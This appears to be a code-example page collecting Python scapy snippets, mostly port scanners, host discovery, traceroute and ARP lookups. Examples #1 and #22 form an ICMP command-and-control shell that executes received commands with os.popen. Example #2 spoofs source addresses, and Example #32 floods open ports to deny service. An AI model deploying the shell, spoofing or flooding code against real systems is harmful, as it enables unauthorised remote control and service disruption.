Example #1
0
def icmpshell(pkt):
    if pkt[IP].src == args.destination_ip and pkt[ICMP].type == 8 and pkt[
            ICMP].id == ICMP_ID and pkt[Raw].load:
        icmppaket = (pkt[Raw].load).decode('utf-8', errors='ignore')
        payload = os.popen(icmppaket).readlines()
        icmppacket = (IP(dst=args.destination_ip, ttl=TTL) /
                      ICMP(type=0, id=ICMP_ID) / Raw(load=payload))
        sr(icmppacket, timeout=0, verbose=0)
    else:
        pass
Example #2
0
    def ping(self):
        for victim in self.victims:
            ping = IP() / ICMP()
            ping[IP].src = victim.ip_address
            ping[IP].dst = self.gateway.ip_address
            sr(ping, iface=self.interface.name, timeout=1, verbose=0)

            ping = IP() / ICMP()
            ping[IP].src = self.gateway.ip_address
            ping[IP].dst = victim.ip_address
            sr(ping, iface=self.interface.name, timeout=1, verbose=0)
Example #3
0
    def run(self):
        if not bHasScapy:
            #print "No scapy support :("
            self.gom.echo("No scapy support :(")
            return False

        self.hosts = {}
        #mwaaaaaaaaaaaaaaaaaaaaaaaaaa
        #self.dict["hosts"] = []

        if self.tcp == 1:
            a, b = sr(IP(dst=self.target, ttl=(self.minttl, self.maxttl)) /
                      TCP(sport=self.sport, dport=self.dport),
                      timeout=self.timeout,
                      iface=self.iface,
                      retry=0)
        else:
            a, b = sr(IP(dst=self.target, ttl=(self.minttl, self.maxttl)),
                      retry=0)

        a = TracerouteResult(a.res)
        #a.make_graph()
        self.packets = a

        start = 0
        for x in a:
            i = 0
            for y in x:
                if start == 0:
                    start = 1
                    self.hosts[len(self.hosts) + 1] = y.src
                    self.addToDict("hosts", y.src)

                    continue

                if i == 0:
                    i = 1
                    continue

                self.hosts[len(self.hosts) + 1] = y.src
                self.addToDict("hosts", y.src)

        try:
            self.hosts[len(self.hosts) + 1] = y.src
            self.addToDict("hosts", y.src)
        except:
            # Ugly hack
            pass

        self.results = self.hosts
        return True
Example #4
0
def gpl_icmp(ip,
             timeout=GPL_Config.ICMP_Timeout,
             TTL=GPL_Config.Default_TTL,
             payload=None):
    try:
        if payload != None:
            Answer, Unanswer = sr(IP(dst=ip, ttl=TTL) / ICMP() / payload,
                                  timeout=timeout)
        else:
            Answer, Unanswer = sr(IP(dst=ip, ttl=TTL) / ICMP(),
                                  timeout=timeout)
        return [Answer, Unanswer]
    except:
        return None
Example #5
0
 def tcpStealthScan(self):
     for port in self.ports:  # Iterates through each port
         self.checkIfTargetOnline()  # Checks if target is online
         # Uses a random port instead of always using same port when transmitting packets
         localSourcePort = random.randint(1, 10000)
         # Sends a singular TCP packet with the SYN Flag to the current port and stores response in variable
         tcpStealthScanResponse = sc.sr1(
             sc.IP(dst=self.targIp) /
             sc.TCP(sport=localSourcePort, dport=port, flags="S"),
             timeout=1,
             verbose=False)
         if tcpStealthScanResponse.haslayer(
                 sc.TCP
         ):  # If a response was received then check it's TCP flags
             flagIndicator = tcpStealthScanResponse[
                 sc.TCP].flags  # TCP flags stored in variable
             if flagIndicator == "SA":  # If SA flag is present, aka SYN-ACK, received then it means port is opened
                 sendReset = sc.sr(sc.IP(dst=self.targIp) /
                                   sc.TCP(sport=80, dport=port, flags="AR"),
                                   timeout=1,
                                   verbose=False)
                 self.dynamicPrint(port, "Open")
             elif flagIndicator == "RA":  # If RA flag is present, it means that the target is skeptical of conn.
                 continue
         elif tcpStealthScanResponse.haslayer(
                 scli.ICMP
         ):  # If packet has an ICMP layer, it may mean port's filtered
             # If the packet contains these codes in the ICMP layer that indicate if the port is filtered
             filterList = [1, 2, 3, 9, 10, 13]
             # If the packet type is type 3 AND it contains one of the above codes then it means the port is filtered
             if tcpStealthScanResponse[
                     sc.ICMP].type == 3 and tcpStealthScanResponse[
                         sc.ICMP].code in filterList:
                 self.dynamicPrint(port, "Filtered")
                 continue
Example #6
0
 def tcpConnectScan(self):
     for port in self.ports:  # Iterates through each port
         self.checkIfTargetOnline()  # Checks if target is online
         # Uses a random port instead of always using same port when transmitting packets
         localSourcePort = random.randint(1, 10000)
         # Sends a singular TCP packet with the SYN Flag to the current port and stores response in variable
         tcpConnectScanResponse = sc.sr1(
             sc.IP(dst=self.targIp) /
             sc.TCP(sport=localSourcePort, dport=port, flags="S"),
             timeout=1,
             verbose=False)
         if tcpConnectScanResponse.haslayer(
                 sc.TCP
         ):  # If a response was received then check it's TCP flags
             flagIndicator = tcpConnectScanResponse[
                 sc.TCP].flags  # TCP flags stored in variable
             if flagIndicator == "SA":  # If SA flag is present, aka SYN-ACK, received then it means port is opened
                 sendReset = sc.sr(sc.IP(dst=self.targIp) /
                                   sc.TCP(sport=80, dport=port, flags="AR"),
                                   timeout=1,
                                   verbose=False)
                 # Dynamically prints new line when an open port is detected, line contains port number and "Open"
                 self.dynamicPrint(port, "Open")
             elif flagIndicator == "RA":  # If RA flag is present, it means that the target is skeptical of conn.
                 continue
Example #7
0
def port_scan(host: str, ports: List[int]):
    # Send SYN with random Src Port for each Dst port
    for dst_port in ports:
        src_port = random.randint(1025, 65534)
        resp = sr1(
            IP(dst=host) / TCP(sport=src_port, dport=dst_port, flags="S"),
            timeout=1,
            verbose=0,
        )
        if resp is None:
            print(f"{host}:{dst_port} is filtered (silently dropped).")

        elif (resp.haslayer(TCP)):
            if (resp.getlayer(TCP).flags == 0x12):
                send_rst = sr(
                    IP(dst=host) /
                    TCP(sport=src_port, dport=dst_port, flags='R'),
                    timeout=1,
                    verbose=0,
                )
                print(f"{host}:{dst_port} is open.")

            elif (resp.getlayer(TCP).flags == 0x14):
                print(f"{host}:{dst_port} is closed.")

        elif (resp.haslayer(ICMP)):
            if (int(resp.getlayer(ICMP).type) == 3
                    and int(resp.getlayer(ICMP).code) in (1, 2, 3, 9, 10, 13)):
                print(f"{host}:{dst_port} is filtered (silently dropped).")
Example #8
0
def get_mac_address(ip):
	#Make ARP Request to get MAC addy for given ip
	#print(f'Making ARP Request for {ip}')
	resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip), retry=2, timeout=10, verbose=0)
	for s,r in resp:
		print(resp[0][1][ARP].hwsrc)
		return resp[0][1][ARP].hwsrc
Example #9
0
        def add_hosts(hosts, ports=None):
            ports = [22] if not ports else ports
            self.poutput(
                f"Scanning {','.join(hosts)} on port(s) {','.join([str(p) for p in ports])}"
            )
            # https://scapy.readthedocs.io/en/latest/troubleshooting.html#i-can-t-ping-127-0-0-1-scapy-does-not-work-with-127-0-0-1-or-on-the-loopback-interface
            scapy_conf.L3socket = L3RawSocket
            res, unans = sr(
                IP(dst=hosts
                   )  # ["10.203.216.142", "10.222.5.20", "10.222.143.52"])
                / TCP(flags="S", dport=ports),
                retry=1,
                timeout=10)

            for s, r in res:
                if r.haslayer(TCP) and (r.getlayer(TCP).flags & 2):
                    # if s[TCP].dport == r[TCP].sport:
                    #   print("%d is unfiltered" % s[TCP].dport)
                    h = s[IP].dst
                    p = s[TCP].dport
                    host = self.db.query(Host).filter(
                        Host.address == h).filter(Host.port == p).first()
                    if not host:
                        host = Host(address=s[IP].dst, port=s[TCP].dport)
                        log.info(
                            f"Adding host (port open): {s[IP].dst} {s[TCP].dport}"
                        )
                    else:
                        host.updated = func.now()
                    host.enabled = True
                    self.db.add(host)
            self.db.commit()
Example #10
0
    def run(self):
        if not bHasScapy:
            self.gom.echo('No scapy support :(')
            return False
        self.results = {}
        self.up = {}
        self.down = {}

        target = scapy.IP(dst=self.target)

        self.gom.echo("Sending probe to\t" + str(target.dst) +
                      "\tusing port\t" + str(self.port))
        p = scapy.IP(dst=target.dst) / scapy.UDP(dport=self.port)

        ans, unans = scapy.sr(p,
                              timeout=self.timeout,
                              iface=self.iface,
                              retry=0)

        #            self.gom.echo(ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ))

        if ans:
            for a in ans:
                self.up[len(self.up) + 1] = a[0][0].dst
                self.add_data_to_kb("alive", a[0][0].dst)
                self.add_data_to_kb("hosts", a[0][0].dst)
                self.add_data_to_kb("targets", a[0][0].dst)
                #self.add_data_to_kb(ans[0][0].dst + "_trace", ans[0][0].dst)
#                else:
#                    self.down[len(self.up)+1] = ans[0][0].dst
#                    self.gom.echo("Answer of type " + str(icmptypes[ans[0][0].type]) + " from " + str(ans[0][0].dst))

        self.results = self.up
        return True
def scanTCPPort(ip, port_dict, queue):
	while True:

		dst_port = queue.get()
		src_port = scapy.RandShort()
	
		packet = scapy.IP(dst=ip)/scapy.TCP(sport=src_port, dport=dst_port, flags="S")
		response = scapy.sr1(packet, verbose=False, timeout=5)

		if response is None:
			port_dict[dst_port]="Closed"
	
		elif(response.haslayer(scapy.TCP)):

			# If the packet returned had the SYN and ACK flags
			if(response.getlayer(scapy.TCP).flags == 0x12):
				# Send TCP packet back to host with ACK and RST flags
				packet = scapy.IP(dst=ip)/scapy.TCP(sport=src_port,dport=dst_port,flags=0x14)
				send_rst = scapy.sr(packet, verbose=False, timeout=5)
				port_dict[dst_port]="Open"

			# If the packet returned had the RST and ACK flags
			elif (response.getlayer(scapy.TCP).flags == 0x14):
				port_dict[dst_port]="Closed"
		else:
			port_dict[dst_port]="Closed"

		queue.task_done()
Example #12
0
def ack(ip, port):
    # 发送ACK包判断端口是否被过滤
    int_port = list(map(int, port.split(",")))
    # 将输入的端口字符型列表变为整数型列表
    print(ip, int_port)
    ans, unans = sr(IP(dst=ip) / TCP(dport=int_port, flags="A"))
    return ans, unans
Example #13
0
    def run(self):
        if not bHasScapy:
            print "No scapy support :("
            return False
        self.results = {}
        self.up = {}
        self.down = {}

        if not self.port:
            self.port = 80

        mTargets = scapy.IP(dst=self.target)

        for target in mTargets:
            self.gom.echo("Sending probe to\t" + str(target.dst) + "\tusing port\t" + str(self.port))
            p = scapy.IP(dst=target.dst) / scapy.TCP(dport=self.port, flags="S")

            ans, unans = scapy.sr(p, timeout=self.timeout, iface=self.iface, retry=0)

            #            self.gom.echo( ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) )

            if ans:
                self.up[len(self.up) + 1] = ans[0][0].dst
                self.addToDict("alive", ans[0][0].dst)
                self.addToDict("hosts", ans[0][0].dst)
                # self.addToDict(ans[0][0].dst + "_trace", ans[0][0].dst)
        #                else:
        #                    self.down[len(self.up)+1] = ans[0][0].dst
        #                    self.gom.echo( "Answer of type " + str(icmptypes[ans[0][0].type]) + " from " + str(ans[0][0].dst) )

        self.results = self.up
        return True
Example #14
0
    def report_ports(self, target, ports):
        ans, unans = sr(IP(dst=target) /
                        TCP(sport=self.sport, dport=ports, flags=self.stype),
                        timeout=self.timeout,
                        iface=self.iface)

        for s, r in ans:
            if not r.haslayer(ICMP):
                try:
                    self.mac[r.src] = getmacbyip(r.src)
                except:
                    self.mac[r.src] = "ff:ff:ff:ff:ff"

                self.addToDict(r.src + "_mac", self.mac[r.src])

                if self.stype == self.SYN_SCAN:
                    if r.payload.flags == 0x12:
                        self.opened[r.sport] = r.src
                        self.addToDict(r.src + "_tcp_ports", r.sport)
                elif self.stype == self.ACK_SCAN:
                    if s[TCP].dport == r[TCP].sport:
                        #print str(s[TCP].dport) + " is unfiltered"
                        self.opened[r.sport] = r.src
                        self.addToDict(r.src + "_tcp_ports", r.sport)

        for s, r in ans:
            if r.haslayer(ICMP):
                self.closed[r.dport] = r.dst
            elif r.payload.flags != 0x12:
                self.closed[r.dport] = r.dst

        self.results = self.opened
        return True
Example #15
0
    def report_ports(self, target, ports):
        ans,unans = sr(IP(dst=target)/TCP(sport=self.sport, dport=ports, flags=self.scanType),timeout=self.timeout, iface=self.iface)

        for s,r in ans:
            if not r.haslayer(ICMP):
                try:
                    self.mac[r.src] = getmacbyip(r.src)
                except:
                    self.mac[r.src] = "ff:ff:ff:ff:ff"

                self.add_data_to_kb(r.src + "_mac", self.mac[r.src])

                if r.payload.flags == 0x12:
                    self.opened[r.sport] = r.src
                    self.gom.echo("  Discovered open port " + str(r.sport))
                    self.add_data_to_kb(r.src + "_tcp_ports", r.sport)

        for s,r in ans:
            if r.haslayer(ICMP):
                self.closed[r.dport] = r.dst
            elif r.payload.flags != 0x12:
                self.closed[r.dport] = r.dst

        self.results = self.opened
        return True
Example #16
0
def map():
    for dst_port in port_range:
        src_port = random.randint(1025, 65534)
        resp = sr1(
            IP(dst=host) / TCP(sport=src_port, dport=dst_port, flags="S"),
            timeout=1,
            verbose=0,
        )

        if resp is None:
            print("{%s}:{%s} is filtered (silently dropped)." %
                  (host, dst_port))

        elif (resp.haslayer(TCP)):
            if (resp.getlayer(TCP).flags == 0x12):
                # Send a gratuitous RST to close the connection
                send_rst = sr(
                    IP(dst=host) /
                    TCP(sport=src_port, dport=dst_port, flags='R'),
                    timeout=1,
                    verbose=0,
                )
                print("{%s}:{%s} is open." % (host, dst_port))

            elif (resp.getlayer(TCP).flags == 0x14):
                print("{%s}:{%s} is closed." % (host, dst_port))

        elif (resp.haslayer(ICMP)):
            if (int(resp.getlayer(ICMP).type) == 3
                    and int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
                print(
                    "{host}:{dst_port} is filtered (silently dropped).".format(
                        host, dst_port))
Example #17
0
    def trace(self, target, port):

        print("[*] Tracing {} on port {}".format(target, port))

        result, unans = sr(IP(dst=target, ttl=(1, 10)) /
                           TCP(dport=port, flags="S"),
                           verbose=1)

        results = {
            "time": str(datetime.now()),
            "target": target,
            "port": port,
            "hops": {}
        }

        for snd, rcv in result:

            print(snd.ttl, rcv.src, snd.sent_time, rcv.time)

            if snd.ttl != 1:
                if str(rcv.src) == results["hops"][snd.ttl - 1]["ip"]:
                    break

            results["hops"][snd.ttl] = self.format_result(
                rcv.src, self.geoip_lookup(rcv.src), self.as_lookup(rcv.src))

        print(json.dumps(results, indent=4))
Example #18
0
    def run(self):
        if not bHasScapy:
            self.gom.echo('No scapy support :(')
            return False
        self.results = {}
        self.up = {}
        self.down = {}

        target = IP(dst=self.target)

        if self.wizard:
            self.runAsWizard()

        self.gom.echo("Sending probe to\t" + str(target.dst))
        p = IP(dst=target.dst) / ICMP(type=self.packetType)
        ans, unans = sr(p, timeout=self.timeout, iface=self.iface, retry=0)

        if ans:
            for a in ans:
                if a[0][0].type == 8:
                    self.up[len(self.up) + 1] = a[0][0].dst
                    self.add_data_to_kb("alive", a[0][0].dst)
                    self.add_data_to_kb("hosts", a[0][0].dst)
                    self.add_data_to_kb("targets", a[0][0].dst)
                    #self.add_data_to_kb(ans[0][0].dst + "_trace", a[0][0].dst)
                else:
                    self.down[len(self.up) + 1] = a[0][0].dst
                    self.gom.echo('Answer of type ' +
                                  str(icmptypes[a[0][0].type]) + ' from ' +
                                  str(a[0][0].dst))

        self.results = self.up
        return True
Example #19
0
    def run(self):
        if not bHasScapy:
            print "No scapy support :("
            return False
        self.results = {}
        self.up = {}
        self.down = {}

        mTargets = IP(dst=self.target)
        
        if self.wizard:
            self.runAsWizard()

        for target in mTargets:
            self.gom.echo( "Sending probe to\t" + str(target.dst) )
            p = IP(dst=target.dst)/ICMP(type=self.packetType)
            ans, unans = sr(p, timeout=self.timeout, iface=self.iface, retry=0)

            if ans:
                if ans[0][0].type == 8:
                    self.up[len(self.up)+1] = ans[0][0].dst
                    self.addToDict("alive", ans[0][0].dst)
                    self.addToDict("hosts", ans[0][0].dst)
                    #self.addToDict(ans[0][0].dst + "_trace", ans[0][0].dst)
                else:
                    self.down[len(self.up)+1] = ans[0][0].dst
                    self.gom.echo( "Answer of type " + str(icmptypes[ans[0][0].type]) + " from " + str(ans[0][0].dst) )

        self.results = self.up
        return True
Example #20
0
    def nodo_a_distancia(self, ttl):
        # Devuelve la tupla (ip, rtt prom) del nodo a distancia ttl
    
        dst = self.dst
        pkt = scp.IP(dst=dst, ttl=ttl) / scp.ICMP()  
        dst_ip = pkt.dst

        hosts = Counter()
        times = {}

        for i in xrange(self.tries):
            ans, unans = scp.sr(pkt, verbose=0, timeout=1)

            if ans:
                rx = ans[0][1]
                tx = ans[0][0]

                if rx.type == ICMP_TIME_EXCEEDED or rx.type == ICMP_ECHO_REPLY:
                    hosts[rx.src] += 1
                    
                    if rx.src not in times:
                        times[rx.src] = []
                    times[rx.src] += [(rx.time - tx.sent_time) * 1000]
                    
        if hosts:
            best = hosts.most_common(1)[0][0]
            return (best, median(times[best]))

        return ('*', 0)
Example #21
0
	def send(self):
		for i in range(1,args.pn):
			send(self.train_packets)
		ans,re=sr(self.final_packet,timeout=2)
		if ans == []:
			raise Exception("Timeout: The specified open port may be not open, try -op to change it")
		return ans[0][1].time-ans[0][0].sent_time
Example #22
0
def main():
    sniffing = Process(target=sniffer)
    sniffing.start()
    print("[+]ICMP C2 started!")
    while True:
        icmpshell = input("shell: ")
        if icmpshell == 'exit':
            print("[+]Stopping ICMP C2...")
            sniffing.terminate()
            break
        elif icmpshell == '':
            pass
        else:
            payload = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type=8,id=ICMP_ID)/Raw(load=icmpshell))
            sr(payload, timeout=0, verbose=0)
    sniffing.join()
Example #23
0
    def run(self):
        if not bHasScapy:
            print "No scapy support :("
            return False
        self.results = {}
        self.up = {}
        self.down = {}

        mTargets = IP(dst=self.target)

        if self.wizard:
            self.runAsWizard()

        for target in mTargets:
            self.gom.echo("Sending probe to\t" + str(target.dst))
            p = IP(dst=target.dst) / ICMP(type=self.packetType)
            ans, unans = sr(p, timeout=self.timeout, iface=self.iface, retry=0)

            if ans:
                if ans[0][0].type == 8:
                    self.up[len(self.up) + 1] = ans[0][0].dst
                    self.addToDict("alive", ans[0][0].dst)
                    self.addToDict("hosts", ans[0][0].dst)
                    #self.addToDict(ans[0][0].dst + "_trace", ans[0][0].dst)
                else:
                    self.down[len(self.up) + 1] = ans[0][0].dst
                    self.gom.echo("Answer of type " +
                                  str(icmptypes[ans[0][0].type]) + " from " +
                                  str(ans[0][0].dst))

        self.results = self.up
        return True
Example #24
0
    def start(self, verbose: bool = False):
        """
		Creates TCP packets with URG, FIN, and PSH and sends them to scan the target
		"""
        print("[*] Starting XMAS port scan")

        ip = IP(dst=self.target_ipv4)
        tcp = TCP(sport=RandShort(), dport=self.target_ports, flags="FPU")

        ans, unans = sr(ip / tcp, verbose=verbose, timeout=10)

        print("[*] XMAS scan complete")

        for s in unans:
            self.open_filtered_ports.append(s[TCP].dport)

        for s, r in ans:
            if (r.haslayer(TCP)):
                # Following nmap convention (both RST, RST/ACK)
                if (r[TCP].flags & 0x16 in [0x4, 0x14]):
                    self.closed_ports.append(s[TCP].dport)
            elif (r.haslayer(ICMP) and r[ICMP].type == 3
                  and r[ICMP].code in [1, 2, 3, 9, 10, 13]):
                self.filtered_ports.append(s[TCP].dport)

        if (verbose == True):
            XmasScanner.print_closed_ports(self)
            XmasScanner.print_filtered_ports(self)
            XmasScanner.print_open_filtered_ports(self)
Example #25
0
def tcpScan(ip, ports, timeout=1):
    results = {port:None for port in ports}

    #Build packet
    p = IP(dst=ip)/TCP(sport=ports,dport=ports, flags='S')
    answers = sr(p, timeout=timeout, verbose=0)[0]

    #Analyse answer 

    for resp in answers[1]:
        if not resp.haslayer(TCP):
            continue
        tcpLayer = resp.getlayer(TCP)

        #Check flags - 0x12 = Syn+ACK

        if tcpLayer.flags == 0x12:
            results[tcpLayer.sport] = True

        elif tcpLayer.flags == 0x14:
            results[tcpLayer.sport] = False

    print("======= Result for Tcp Scan of "+str(ip)+"=======")
    for k,v in results.items():
        if v != None:
            print(str(k) + " -> " + str(v))
    

    #Make possible to use results as data
    return results
Example #26
0
def scan(ip, ports, timeout=timeout, verbose=False):
    """Do SYN scan on a specific ip and port

    Arguments:
        ip {str} -- ip address
        port {int} -- port number

    Keyword Arguments:
        timeout {number} -- how much time to wait after the last packet has been sent (default: {3})
    """
    # show_info(f"Scan {ip} {port}")
    global OPEN_PORTS
    sport = RandShort()
    ans, _ = sr(IP(dst=ip) / TCP(sport=sport, dport=ports, flags="S"),
                timeout=timeout,
                verbose=0)

    if verbose and ans:
        for port in [x[1][TCP].sport for x in ans]:
            show_discovery(port, ip)

    if ans:
        locker.acquire()
        OPEN_PORTS.extend([x[1][TCP].sport for x in ans])
        locker.release()

    return True if ans else False
Example #27
0
    def start(self, verbose: bool = False):
        """
		Scans the ports and stores the results in a list; If verbose flag is passed,
		the output is printed as well.
		"""
        print("[*] Starting FIN port scan")

        ip = IP(dst=self.target_ipv4)
        tcp = TCP(sport=RandShort(), dport=self.target_ports, flags="F")

        ans, unans = sr(ip / tcp, verbose=verbose, timeout=10)

        print("[*] FIN port scan complete")

        for s in unans:
            self.open_filtered_ports.append(s[TCP].dport)

        for s, r in ans:
            if (r.haslayer(TCP)):
                # Following nmap convention (both RST, RST/ACK)
                if (r[TCP].flags & 0x16 in [0x4, 0x14]):
                    self.closed_ports.append(s[TCP].dport)
            elif (r.haslayer(ICMP) and r[ICMP].type == 3
                  and r[ICMP].code in [1, 2, 3, 9, 10, 13]):
                self.filtered_ports.append(s[TCP].dport)

        if (verbose == True):
            FinScanner.print_closed_ports(self)
            FinScanner.print_filtered_ports(self)
            FinScanner.print_open_filtered_ports(self)
Example #28
0
def scan_port_range(target_host, ports_to_scan):
    # This page finally cleared up a lot of the weird formatting and syntax stuff for me: https://thepacketgeek.com/scapy/building-network-tools/part-10/

    for port in ports_to_scan:
        # print(port)
        response = sr1(
            IP(dst=target_host) /
            TCP(sport=random.randrange(1, 65535), dport=port, flags="S"),
            timeout=1,
            verbose=0)

        # print(response)

        if response == None:
            print("Port " + str(port) + " is filtered.")
        elif response.haslayer(TCP):
            if response.getlayer(TCP).flags == 0x12:
                print("Port " + str(port) + " is open.")
                send_rst = sr(
                    IP(dst=target_host) / TCP(sport=random.randrange(1, 65535),
                                              dport=port,
                                              flags="R"),
                    timeout=1,
                    verbose=0
                )  # I *think* that using the 'R' flag sends a reset??? Also, I got 'sr' to work by importing it above (duh). The difference is that sr1 returns 'only the first answer' and sr has no such stipulation.
        elif response.haslayer(TCP):
            if response.getlayer(
                    TCP
            ).flags == 0x14:  # This isn't registering for some reason
                print("Port " + str(port) + " is closed.")
Example #29
0
    def run(self):
        pingr = IP(dst=self.target) / UDP(dport=0)
        while not self.shutdown_flag.is_set():
            start_time = timeit.default_timer()
            delta = 0
            try:
                ans, _unans = sr(pingr,
                                 verbose=0,
                                 nofilter=1,
                                 retry=0,
                                 timeout=self.timeout / 1000)
                rx = ans[0][1]
                tx = ans[0][0]
                delta = (rx.time - tx.sent_time) * 1000
                if delta > 0:
                    self.success += 1
                    self.latency.append(delta)
                else:
                    self.failed += 1
            except Exception, e:
                self.failed += 1

            sleep_time = (self.interval / 1000.0) - (timeit.default_timer() -
                                                     start_time)
            if sleep_time > 0:
                time.sleep(sleep_time)
def scan(ip, website):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(
        arp_request_broadcast, timeout=1, verbose=False
    )[0]  #only getting element 0 (answered list because this function returns 2 things)

    print('[+] Beginning scan')

    ans, unans = scapy.sr(
        scapy.IP(dst=website) /
        scapy.TCP(sport=666, dport=[80, 440, 441, 442, 443], flags='S'),
        verbose=False,
        timeout=3)
    print('----------------------------------------------------------')
    print('PORT')
    ans.make_table(lambda s, r: (
        s.dst, s.dport,
        r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
    print(' ')

    clients_list = []
    for element in answered_list:
        client_dict = {'IP': element[1].psrc, 'MAC': element[1].hwsrc}
        clients_list.append(client_dict)
    return clients_list
Example #31
0
    def report_ports(self, target, ports):
        ans,unans = sr(IP(dst=target)/TCP(sport=self.sport, dport=ports, flags=self.scanType),timeout=self.timeout, iface=self.iface)

        for s,r in ans:
            if not r.haslayer(ICMP):
                try:
                    self.mac[r.src] = getmacbyip(r.src)
                except:
                    self.mac[r.src] = "ff:ff:ff:ff:ff"
                
                self.addToDict(r.src + "_mac", self.mac[r.src])

                if r.payload.flags == 0x12:
                    self.opened[r.sport] = r.src
                    self.gom.echo( "  Discovered open port " + str(r.sport) )
                    self.addToDict(r.src + "_tcp_ports", r.sport)

        for s,r in ans:
            if r.haslayer(ICMP):
                self.closed[r.dport] = r.dst
            elif r.payload.flags != 0x12:
                self.closed[r.dport] = r.dst

        self.results = self.opened
        return True
Example #32
0
def escanearPuertos(host):
    print("\nEscaneando los puertos de la IP:", host)
    try:
        for puerto in listaPuertos:
            puertoOrigen = scapy.RandShort(
            )  #para que el paquete enviado tenga un puerto distinto cada vez
            paquete = scapy.IP(dst=host) / scapy.TCP(
                sport=puertoOrigen, dport=puerto, flags="S")
            respuesta = scapy.sr1(paquete, timeout=2)
            if ("NoneType" in str(type(respuesta))):
                pass
            elif (respuesta.haslayer(scapy.TCP)
                  and respuesta.getlayer(scapy.TCP).flags == 0x12):
                p = scapy.IP(dst=host) / scapy.TCP(
                    sport=puertoOrigen, dport=puerto, flags="R")
                rst = scapy.sr(
                    p, timeout=1
                )  #envío con flag RST activa para cortar la conexión
                try:
                    servicio = scapy.socket.getservbyport(
                        puerto)  # obtiene info del puerto(si es conocido)
                except:
                    servicio = "¿?"
                print("[ABIERTO]", puerto, " -> ", servicio)
                sendPackage(
                    host, puerto, 2000
                )  # si existe un puerto abierto, se envían paquetes para "denegar" el servicio
    except KeyboardInterrupt:
        print("Abortado por usuario")
Example #33
0
def tcp_syn_scan(ip, ports, timeout=0.2):
    '''Performs TCP SYN scan.'''
    results = {port: None for port in ports}

    # Send SYN packet
    ans, _ = sr(
        IP(dst=ip) / TCP(dport=ports, flags='S'),
        timeout=timeout,
        verbose=False,
    )

    # Iterate through responses
    # if SYN-ACK, count as open
    # if RST, count as closed
    reset_ports = []
    for req, res in ans:
        if not res.haslayer(TCP):
            continue

        tcp = res.getlayer(TCP)
        if tcp.flags == 0x12:
            results[tcp.sport] = OPEN
            reset_ports.append(tcp.sport)
        elif tcp.flags == 0x14:
            results[tcp.sport] = CLOSED

    # Reset open ports with ACK-RST packet
    send(IP(dst=ip) / TCP(dport=reset_ports, flags='R'), verbose=False)

    return results
Example #34
0
    def start(self, verbose: bool = False):
        """
		Scans the ports and stores the results in a list; If verbose flag is passed,
		the output is printed as well.
		"""
        print("[*] Starting ACK port scan")

        ip = IP(dst=self.target_ipv4)
        tcp = TCP(sport=RandShort(), dport=self.target_ports, flags="A")

        ans, unans = sr(ip / tcp, verbose=verbose, timeout=10)

        print("[*] ACK port scan complete")

        for s, r in ans:
            if (r.haslayer(TCP)):
                if (s[TCP].dport == r[TCP].sport):
                    self.unfiltered_ports.append(s[TCP].dport)
            elif (r.haslayer(ICMP) and r[ICMP].type == 3
                  and r[ICMP].code in [1, 2, 3, 9, 10, 13]):
                self.filtered_ports.append(s[TCP].dport)

        for s in unans:
            self.filtered_ports.append(s[TCP].dport)

        if (verbose == True):
            AckScanner.print_unfiltered_ports(self)
            AckScanner.print_filtered_ports(self)
Example #35
0
def icmpping(targets, verbose):

    if targets == []:
        return None

    is_up = []

    if args.icmpecho:
        print("[-] Running ICMP-Echo  host discovery")
        p = scapy.IP(dst=targets) / scapy.ICMP(type="echo-request")

    elif args.icmptime:
        print("[-] Running ICMP-Timestamp host discovery")
        p = scapy.IP(dst=targets) / scapy.ICMP(type="timestamp-request")

    elif args.icmpmask:
        print("[-] Running ICMP-Address-Mask host discovery")
        p = scapy.IP(dst=targets) / scapy.ICMP(type="address-mask-request")

    else:
        print("[-] Running ICMP-Echo + ICMP-Timestamp Host discovery")
        p = scapy.IP(dst=targets)
        p = p / scapy.ICMP(
            seq=1, id=100, type=["echo-request", "timestamp-request"])

    ans, unans = scapy.sr(p, timeout=0.5, retry=1, verbose=verbose)

    for sent, received in ans:
        for i, target_ip in enumerate(targets):
            if received.src == target_ip:
                is_up.append(targets.pop(i))
                if verbose == True:
                    print("[+] {} is up".format(target_ip))

    return is_up
Example #36
0
    def report_ports(self, target, ports):
        ans,unans = sr(IP(dst=target)/TCP(sport=self.sport, dport=ports, flags=self.stype),timeout=self.timeout, iface=self.iface)

        for s,r in ans:
            if not r.haslayer(ICMP):
                try:
                    self.mac[r.src] = getmacbyip(r.src)
                except:
                    self.mac[r.src] = "ff:ff:ff:ff:ff"
                
                self.addToDict(r.src + "_mac", self.mac[r.src])
    
                if self.stype == self.SYN_SCAN:
                    if r.payload.flags == 0x12:
                        self.opened[r.sport] = r.src
                        self.addToDict(r.src + "_tcp_ports", r.sport)
                elif self.stype == self.ACK_SCAN:
                    if s[TCP].dport == r[TCP].sport:
                        #print str(s[TCP].dport) + " is unfiltered"
                        self.opened[r.sport] = r.src
                        self.addToDict(r.src + "_tcp_ports", r.sport)

        for s,r in ans:
            if r.haslayer(ICMP):
                self.closed[r.dport] = r.dst
            elif r.payload.flags != 0x12:
                self.closed[r.dport] = r.dst

        self.results = self.opened
        return True
Example #37
0
    def run(self):
        if not bHasScapy:
            #print "No scapy support :("
            self.gom.echo( "No scapy support :(" )
            return False

        self.hosts = {}
        #mwaaaaaaaaaaaaaaaaaaaaaaaaaa
        #self.dict["hosts"] = []

        if self.tcp == 1:
            a,b = sr(IP(dst=self.target, ttl=(self.minttl,self.maxttl))/TCP(sport=self.sport, dport=self.dport), timeout=self.timeout, iface = self.iface, retry = 0)
        else:
            a,b = sr(IP(dst=self.target, ttl=(self.minttl,self.maxttl)), retry=0)

        a = TracerouteResult(a.res)
        #a.make_graph()
        self.packets = a

        start = 0
        for x in a:
            i = 0
            for y in x:
                if start == 0:
                    start = 1
                    self.hosts[len(self.hosts)+1] = y.src
                    self.addToDict("hosts", y.src)

                    continue

                if i == 0:
                    i = 1
                    continue

                self.hosts[len(self.hosts)+1] = y.src
                self.addToDict("hosts", y.src)

        try:
            self.hosts[len(self.hosts)+1] = y.src
